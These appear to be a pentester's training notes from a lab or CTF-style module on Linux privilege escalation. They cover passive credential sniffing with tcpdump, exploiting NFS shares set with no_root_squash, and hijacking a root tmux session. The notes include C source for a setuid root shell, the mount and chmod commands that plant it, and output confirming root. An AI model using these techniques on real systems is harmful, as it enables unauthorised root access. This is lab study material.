# Passive Traffic Capture - Assuming `tcpdump` is installed on a target, non-admin users may be able to capture network traffic, which may possibly lead to cleartext creds - [net-creds](https://github.com/DanMcInerney/net-creds) and [PCredz](https://github.com/lgandx/PCredz) can be used to examine pcap data - This could result in sensitive info exposure such as: - CC numbers, SNMP community strings - Net-NTLMv2, SMBv2, or Kerberos hashes - creds in cleartext protocols such as HTTP, FTP, POP, IMAP, telnet, or SMTP # Weak NFS Privs - Network File System (NFS) allows users to access shared files or directories over the network hosted on Unix/Linux systems - By default, BFS uses TCP/UDP port 2049 - The below command shows the NFS server's export list - this is remotely accessible mounts ```bash showmount -e 10.129.2.12 ``` - When an NFS volume is created, various options can be set but the one most important to pentesters is `no_root_squash` |Option|Description| |---|---| |`root_squash`|If the root user is used to access NFS shares, it will be changed to the `nfsnobody` user, which is an unprivileged account. Any files created and uploaded by the root user will be owned by the `nfsnobody` user, which prevents an attacker from uploading binaries with the SUID bit set.| |`no_root_squash`|Remote users connecting to the share as the local root user will be able to create files on the NFS server as the root user. This would allow for the creation of malicious scripts/programs with the SUID bit set.| - We can view options for NFS volumes in `/etc/exports` ```bash cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /var/nfs/general *(rw,no_root_squash) /tmp *(rw,no_root_squash) ``` ## `no_root_squash` - When this option is set for an NFS volume, we can create a SETUID binary that executes `/bin/sh` using our local root user - We can then mount the `/tmp` directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit - First, create a simple `c` binary on our Kali box ```bash cat shell.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); } gcc shell.c -o shell ``` - Next, mount the NFS dir on Kali box, copy the binary into the NFS dir, and set appropriate perms ```bashn sudo mount -t nfs 10.129.2.12:/tmp /mnt cp shell /mnt chmod u+s /mnt/shell ``` - Now, switch back to target box with low priv user, and execute the binary ```bash $ls -la total 68 drwxrwxrwt 10 root root 4096 Sep 1 06:15 . drwxr-xr-x 24 root root 4096 Aug 31 02:24 .. -rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell <SNIP> ./shell # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb) ``` # Hijacking `tmux` sessions - When not working in a `tmux` window, we can detach from the session, still leaving it active - While useful for leaving lengthy commands running such as `hashcat`, `nmap`, `responder`, etc., as a privileged user, this session can be hijacked - This may be done with the following commands to create a new shared session and modify the ownership ```bash tmux -S /shareds new -s debugsess chown root:devs /shareds ``` - Now, if we can compromise a user in the `devs` group, we can attach to this session and gain root access - Next, check for running `tmux` processes and confirm perms ```bash ps aux | grep -i tmux root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess ls -la /shareds srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds ``` - Review group memberships and, finally, attach to the `tmux` session and confirm root privs ```bash id uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs) ``` ```bash tmux -S /shareds id uid=0(root) gid=0(root) groups=0(root) ``` --- # Exercise ## initial enum - `ping` test ![[images/Pasted image 20260210191928.png]] - `nmap` scans ![[images/Pasted image 20260210192104.png]] - enum `nfs` export list from outside ![[images/Pasted image 20260210192042.png]] - `ssh` into target with given creds ![[images/Pasted image 20260210192126.png]] - light internal enum ![[images/Pasted image 20260210192151.png]] - `cat /etc/exports` ![[images/Pasted image 20260210192224.png]] - both volumes have `no_root_squash` set # Mount NFS Shares from Kali box - mount and explore `/tmp` ![[images/Pasted image 20260210193208.png]] - mount and explore `/var/nfs/general` - there's the flag ![[images/Pasted image 20260210193152.png]]